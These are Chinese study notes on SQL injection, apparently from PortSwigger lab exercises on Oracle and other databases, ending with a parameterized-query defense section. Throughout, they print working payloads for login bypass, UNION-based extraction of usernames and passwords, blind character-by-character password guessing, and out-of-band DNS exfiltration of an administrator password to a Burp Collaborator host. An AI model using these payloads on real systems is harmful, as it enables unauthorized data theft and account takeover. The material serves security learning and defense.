
bp实验室SQL漏洞学习笔记 (示例使用的是Oracle数据库)
什么是SQL注入(sqli)
sql注入指的是针对服务器的数据库进行攻击的一种手段,通过对数据库的干扰,让攻击者可以看到一些敏感的信息,包括其他用户的信息,密码,信用卡,个人信息等,在很多情况下还可以修改和删除数据。在某些情况下,攻击者可以获得进入组织系统的持久后门,从而导致长期入侵,并且可能在很长一段时间内都不会被发现。
如何检测
可以使用手动检测sql漏洞,通常可以利用一下几种方式:
- 单引号
'
查找异常 - 通过sql的基础语法,在入口点对不同的值做出评估,找出不同
- 布尔条件,比如
OR 1=1``OR 1=2
判断有什么不同 - 通过时间判断,通过触发sql时间延迟的payload来找到响应时间的差异
- 通过OAST外带网络,看是否可以与外部网络进行交互
大多数的SQL漏洞都发生在WHERE
和 SELECT
语句
但是,SQL 注入漏洞可能发生在查询中的任何位置,以及不同的查询类型中。SQL 注入出现的其他一些常见位置包括:
- 在UPDATE语句中,在更新的值或WHERE子句内。
- 在INSERT语句中,在插入的值内。
- 在SELECT语句中,在表或列名称内。
- 在SELECT语句中,在ORDER BY子句内。
SQL注入示例
下面是一些常见的SQL注入示例
包括 检索隐藏数据 修改应用逻辑判断(通过查询语句来干扰程序的逻辑)union攻击(查询不同的数据表) 盲sql(sql没有回显)
检索隐藏数据
比如现在你要对一个商品的种类进行查询,你发送的请求大概是
1 | https://insecure-website.com/products?category=Gifts |
这就会让程序执行数据库查询
1 | SELECT * FROM products WHERE category = 'Gifts' AND released = 1 |
这就让数据返回*
: 所有数据 products
: 来自这个表里的内容 category = 'Gifts'
: 查询种类为Gifts的数据 released = 1
: 可能是对用户查询的限制,比如未发售的产品released=0
如果这个网站没有进行任何的sql注入防御,就会造成以下攻击
1 | https://insecure-website.com/products?category=Gifts'-- |
当这个查询语句被拼接上去时,'
会先闭合引号,--
是sql的注释符,就会把后面的AND released = 1
注释掉,这样子用户就可以访问到所有的商品,包括没有发布的,还可以查询所有类型的商品
1 | https://insecure-website.com/products?category=Gifts'+OR+1=1-- |
修改后的查询将返回category为Gifts或1等于1所有项目。由于1=1始终为真,因此查询将返回所有项目。
但是要注意:
将条件OR 1=1注入 SQL 查询时要小心谨慎。即使在 注入的上下文中看起来无害,应用程序在多个不同的查询中使用来自单个请求的数据也很常见。
例如,如果 的条件到达UPDATE或DELETE语句,则可能会导致意外的数据丢失。
改变应用程序的逻辑
比如一个程序是让用户通过用户名和密码登录,如果用户提交用户名wiener和密码bluecheese ,则应用程序通过执行以下 SQL 查询来检查凭据:
1 | SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' |
在这种情况下,攻击者可以以任何用户身份登录,而无需密码。他们可以使用 SQL 注释序列–从查询的WHERE子句中删除密码检查。例如,提交用户名administrator’–和空白密码会导致以下查询:
1 | SELECT * FROM users WHERE username = 'administrator'--' AND password = '' |
从其他数据表检索信息 (UNION攻击)
如果应用程序以 SQL 查询结果作为响应,攻击者可以利用 SQL 注入漏洞从数据库内的其他表中检索数据
利用UNION
关键字可以执行额外的查询
例如,如果应用程序执行包含用户输入Gifts的以下查询:
1 | SELECT name, description FROM products WHERE category = 'Gifts' |
攻击者可以执行以下的查询
1 | ' UNION SELECT username, password FROM users-- |
这会导致应用程序返回所有用户名和密码以及产品名称和描述。
为了使UNION查询正常工作,必须满足两个关键要求:
- 各个查询必须返回相同数量的列。
- 每列中的数据类型必须在各个查询之间兼容。
要执行 SQL 注入 UNION 攻击,要确保攻击满足以下两个要求 - 原始查询返回了多少列。
- 从原始查询返回的哪些列具有合适的数据类型来保存注入查询的结果。
确定所需的列数
执行 SQL 注入 UNION 攻击时,有两种有效的方法可以确定从原始查询返回了多少列。
一种方法是注入一系列ORDER BY子句并增加指定的列索引,直到发生错误。例如,如果注入点是原始查询的WHERE子句中的带引号的字符串,则应提交:
1 | ' ORDER BY 1-- |
ORDER BY子句中的列可以通过其索引指定,因此 不需要知道任何列的名称。当指定的列索引超出结果集中的实际列数时,数据库将返回错误,例如:
1 | The ORDER BY position number 3 is out of range of the number of items in the select list. |
应用程序实际上可能会在其 HTTP 响应中返回数据库错误,但也可能发出一般错误响应。在其他情况下,它可能根本不返回任何结果。无论哪种情况,只要 可以检测到响应中的一些差异,就可以推断出查询返回了多少列。
第二种方法涉及提交一系列指定不同数量的空值的UNION SELECT:
1 | ' UNION SELECT NULL-- |
如果空值的数量与列数不匹配,数据库将返回错误,例如:
1 | All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. |
我们使用NULL作为注入的SELECT查询的返回值,因为每列中的数据类型必须在原始查询和注入查询之间兼容.NULL可转换为每种常见数据类型,因此当列数正确时,它可以最大限度地提高payload成功的机会。
这里就是有三列,所以输入三个NULL,可以正常访问,输入其他数量的NULL就无法访问到商品数据
数据库特定的语法
在 Oracle 上,每个SELECT查询都必须使用FROM关键字并指定一个有效的表。Oracle 上有一个名为dual内置表可用于此目的。因此,Oracle 上的注入查询需要如下所示:
1 | ' UNION SELECT NULL FROM DUAL-- |
在 MySQL 上,双破折号序列后面必须有一个空格。或者,可以使用井号#来标识注释。
sql注入速查表:https://portswigger.net/web-security/sql-injection/cheat-sheet
查找具有有用数据类型的列
SQL 注入 UNION 攻击可让 检索注入查询的结果。 想要检索的有趣数据通常为字符串形式。这意味着 需要在原始查询结果中找到一个或多个数据类型为字符串数据或与字符串数据兼容的列。
确定所需列数后, 可以探测每列以测试其是否可以容纳字符串数据。 可以提交一系列UNION SELECT,依次将字符串值放入每列中。例如,如果查询返回四列,则 可以提交:
1 | ' UNION SELECT 'a',NULL,NULL,NULL-- |
如果列数据类型与字符串数据不兼容,则注入的查询将导致数据库错误,如果没有发生错误,并且应用程序的响应包含一些额外的内容(包括注入的字符串值),那么相关列适合检索字符串数据。
使用 SQL 注入 UNION 攻击来检索有趣的数据
当 确定了原始查询返回的列数并发现哪些列可以保存字符串数据时, 就可以检索有趣的数据。
现在假设:1.原始查询返回两列,并且两列都可以保存字符串吗。2.注入点是WHERE子句内的带引号的字符串。3.数据库包含一个名为users表,其中包含username和password 。
所以sql注入的语句可以是
1 | ' UNION SELECT username, password FROM users-- |
为了执行此攻击, 需要知道有一个名为users的表,其中包含两列,分别称为username和password 。如果没有这些信息, 将不得不猜测表和列的名称。所有现代数据库都提供了检查数据库结构并确定它们包含哪些表和列的方法。
检索单个列中的多个值
在某些情况下,上例中的查询可能仅返回单个列。可以通过将值连接在一起来检索此单个列中的多个值。 可以添加分隔符来区分组合的值。例如,在 Oracle 上, 可以提交输入:
1 | ' UNION SELECT username || '~' || password FROM users-- |
这使用了双管道序列||这是 Oracle 上的字符串连接运算符。注入的查询将username和password字段的值连接在一起,以~字符分隔。
其他几个数据库的拼接语句
1 | Microsoft 'foo'+'bar' |
mysql除了concat还有group_concat也是很常用的拼接函数
比如在这里先用UNION查询NULL知道有两列数据,然后查询字符串,知道只有第二列可以返回查询,然后就用oracle上面的拼接查询两个字段
常见数据库中检查是否存在sql注入攻击
上面说完了sql注入示例,那现在当然要知道什么时候可以进行sql注入攻击,对于不同的数据库,方式也不同
要利用 SQL 注入漏洞,通常需要查找有关数据库的信息。 其中包括
- 数据库软件的类型和版本。
- 数据库包含的表和列。
查询数据库类型和版本
以下是一些用于确定某些流行数据库类型的数据库版本的查询:
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
SELECT banner FROM v$version
SELECT version FROM v$instance
PostgreSQL SELECT version()
可以使用UNION攻击 (使用之前要先查在哪一列回显信息)
1 | ' UNION SELECT @@version-- |
在 Oracle 数据库上,每个SELECT语句都必须指定要从FROM选择的表。 如果 的UNION SELECT攻击不从表中查询, 仍然需要包含FROM关键字,后跟有效的表名。
Oracle 中有一个名为dual内置表
列出数据库的内容
大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图。它提供有关数据库的信息。
例如, 可以查询information_schema.tables来列出数据库中的表:
1 | SELECT * FROM information_schema.tables |
然后, 可以查询information_schema.columns来列出各个表中的列:
1 | SELECT * FROM information_schema.columns WHERE table_name = 'Users' |
一半的步骤包括,确定字段数,判断有用数据类型的列,查表名,查列名,查询想要的信息
1 | '+UNION+SELECT+'abc','def'-- |
在 Oracle 上, 可以找到如下相同的信息:
1 | SELECT * FROM all_tables |
其他类型的数据库的内容在sql速查表里面看https://portswigger.net/web-security/sql-injection/cheat-sheet
sql盲注
什么是sql盲注? 当应用程序的数据库查询的返回信息不回显在http响应的时候,但是又容易受到sql注入攻击,就叫做sql盲注。很多技术对sql盲注没有效果,比如uinon攻击,但是还是可以进行sql注入,通过别的方式
通过触发条件响应进行盲sql注入
假设有一个应用程序使用跟踪 Cookie 来收集使用情况分析数据。对该应用程序的请求包含如下 Cookie 标头:
1 | Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 |
当处理包含TrackingId cookie 的请求时,应用程序使用 SQL 查询来确定这是否是已知用户:
1 | SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' |
此查询容易受到 SQL 注入攻击,但查询结果不会返回给用户。不过,应用程序的行为会根据查询是否返回任何数据而有所不同。如果 提交已识别的TrackingId ,查询将返回数据, 会在响应中收到“欢迎回来”消息。
所以就可以利用这种条件来进行sql注入,通过触发不同的响应来检索信息
假设发送了两个请求,其中依次包含以下TrackingId cookie 值:
1 | …xyz' AND '1'='1 |
这些值中的第一个值导致查询返回结果,因为注入的AND ‘1’=’1条件为真。结果,显示“欢迎回来”消息。
第二个值导致查询不返回任何结果,因为注入的条件为假。不显示“欢迎回来”消息。
例如,假设有一个名为Users的表,其中包含Username和Password列,以及一个名为Administrator的用户。 可以通过发送一系列输入来一次一个字符地测试密码,从而确定此用户的密码。
这使我们能够确定任何单个注入条件的答案,并一次提取一个数据。
例如,假设有一个名为Users的表,其中包含Username和Password列,以及一个名为Administrator的用户。 可以通过发送一系列输入来一次一个字符地测试密码,从而确定此用户的密码。
1 | xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm |
这将返回“欢迎回来”消息,表明注入的条件为真,因此密码的第一个字符大于m 。
最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是s :
1 | xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's |
我们可以继续这个过程,系统地确定Administrator用户的完整密码。
比如在这个例子中,我们根据返回的内容是否有welcome判断,然后判断出了有users表和administrator这个用户,用条件响应来确定密码的长度
然后用substring这个函数,截取密码里面的一个字,在substring的第一个数字和最后的’a’加上攻击符,进行判断,然后逐位爆破出密码
基于错误的 SQL 注入
基于错误的 SQL 注入是指 能够使用错误消息从数据库中提取或推断敏感数据的情况,即使在盲目情况下也是如此。可能性取决于数据库的配置和 能够触发的错误类型:
通过触发条件错误来利用盲 SQL 注入
某些应用程序执行 SQL 查询,但无论查询是否返回任何数据,其行为都不会改变。上一节中的技术不起作用,因为注入不同的布尔条件不会对应用程序的响应产生影响。
通常,可以根据是否发生 SQL 错误来诱导应用程序返回不同的响应。 可以修改查询,使其仅在条件为真时才导致数据库错误。通常,数据库抛出的未处理错误会导致应用程序的响应有所不同,例如错误消息。这使 能够推断出注入条件的真实性。
假设发送了两个请求,它们分别包含以下TrackingId cookie 值:
1 | xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a |
这些输入使用CASE关键字来测试条件,并根据表达式是否为真返回不同的表达式
- 对于第一个输入, CASE表达式计算结果为’a’ ,这不会导致任何错误。
- 对于第二个输入,其计算结果为1/0 ,这会导致除以零的错误。
如果错误导致应用程序的 HTTP 响应出现差异,则可以由此确定注入的条件是否为真。
通过这个方法可以一次确定一个字符
1 | xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a |
利用方式和上一题也很像,只是我们观察返回有没有错误
q954u104nkbmrmvdwvft
通过详细的 SQL 错误消息提取敏感数据
数据库配置错误有时会导致详细的错误消息。这些消息可能会为攻击者提供有用的信息。例如,请考虑以下错误消息,该消息在将单引号注入id参数后出现:
1 | Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char |
有时, 可以诱导应用程序生成包含查询返回的部分数据的错误消息。这有效地将原本盲目的 SQL 注入漏洞变成了可见漏洞。
可以使用CAST()函数来实现这一点。它使 能够将一种数据类型转换为另一种数据类型。例如,假设一个查询包含以下语句:
1 | CAST((SELECT example_column FROM example_table) AS int) |
通常, 尝试读取的数据是字符串。尝试将其转换为不兼容的数据类型(例如int )可能会导致类似于以下内容的错误:
1 | ERROR: invalid input syntax for type integer: "Example data" |
通过触发时间延迟来利用盲 SQL 注入
如果应用程序在执行 SQL 查询时捕获数据库错误并妥善处理它们,则应用程序的响应不会有任何差异。这意味着以前用于诱导条件错误的技术将不起作用。
在这种情况下,通常可以通过触发时间延迟(具体取决于注入条件是真还是假)来利用盲 SQL 注入漏洞。由于应用程序通常同步处理 SQL 查询,因此延迟执行 SQL 查询也会延迟 HTTP 响应。这允许 根据接收 HTTP 响应所花费的时间来确定注入条件的真实性。
触发时间延迟的技术特定于所使用的数据库类型。例如,在 Microsoft SQL Server 上, 可以使用以下命令测试条件并根据表达式是否为真触发延迟:
1 | '; IF (1=2) WAITFOR DELAY '0:0:10'-- |
使用这种技术,我们可以通过一次测试一个字符来检索数据
1 | '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- |
使用带外 (OAST) 技术利用盲 SQL 注入
应用程序可能会执行与上一个示例相同的 SQL 查询,但以异步方式执行。应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪 cookie 执行 SQL 查询。该查询仍然容易受到 SQL 注入攻击,但到目前为止描述的任何技术都不起作用。应用程序的响应不依赖于查询返回的任何数据、发生的数据库错误或执行查询所花费的时间。
在这种情况下,通常可以通过触发与 控制的系统之间的带外网络交互来利用盲 SQL 注入漏洞。这些可以根据注入的条件触发,以一次推断一条信息。更有用的是,数据可以直接在网络交互中泄露。
有多种网络协议可用于此目的,但通常最有效的是 DNS(域名服务)。许多生产网络允许 DNS 查询自由出站,因为它们对于生产系统的正常运行至关重要。
触发 DNS 查询的技术特定于所使用的数据库类型。例如,Microsoft SQL Server 上的以下输入可用于在指定域上引发 DNS 查找:
1 | '; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- |
确认了触发带外交互的方法后,你就可以使用带外通道从易受攻击的应用程序中窃取数据。例如
1 | '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- |
此输入读取Administrator用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。此查找允许 查看捕获的密码:
1 | S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net |
(关于这些dns的payload都在https://portswigger.net/web-security/sql-injection/cheat-sheet)
如果在COLLABORATOR中看到访问记录的话,就说明成功了
带外 (OAST) 技术是检测和利用盲 SQL 注入的有效方法,因为它的成功率很高,并且能够直接窃取带外通道内的数据。因此,即使在其他盲目利用技术有效的情况下,OAST 技术通常也是首选。
比如利用下面这个payload拿到admin的密码
1 | TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f> |
在COLLABORATOR的响应中看到的dns在COLLABORATOR payload前面的字符串就是密码
如何防止sql注入
可以使用参数化查询(而不是查询中的字符串连接)来防止大多数 SQL 注入实例。这些参数化查询也称为“准备好的语句”。
下代码容易受到 SQL 注入攻击,因为用户输入直接连接到查询中:
1 | String query = "SELECT * FROM products WHERE category = '"+ input + "'"; |
可以重写此代码,以防止用户输入干扰查询结构:
1 | PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?"); |
对于不受信任的输入作为查询中的数据出现的任何情况, 都可以使用参数化查询,包括WHERE子句和INSERT或UPDATE语句中的值。它们不能用于处理查询其他部分中的不受信任的输入,例如表或列名称,或ORDER BY子句。将不受信任的数据放入查询的这些部分的应用程序功能需要采取不同的方法,例如:
- 将允许的输入值列入白名单。
- 使用不同的逻辑来提供所需的行为。
为了使参数化查询能够有效防止 SQL 注入,查询中使用的字符串必须始终是硬编码常量。它绝不能包含任何来源的变量数据。不要试图逐个确定某项数据是否可信,在被视为安全的情况下继续在查询中使用字符串连接。很容易对数据的可能来源产生错误判断,或者对其他代码进行更改以污染可信数据。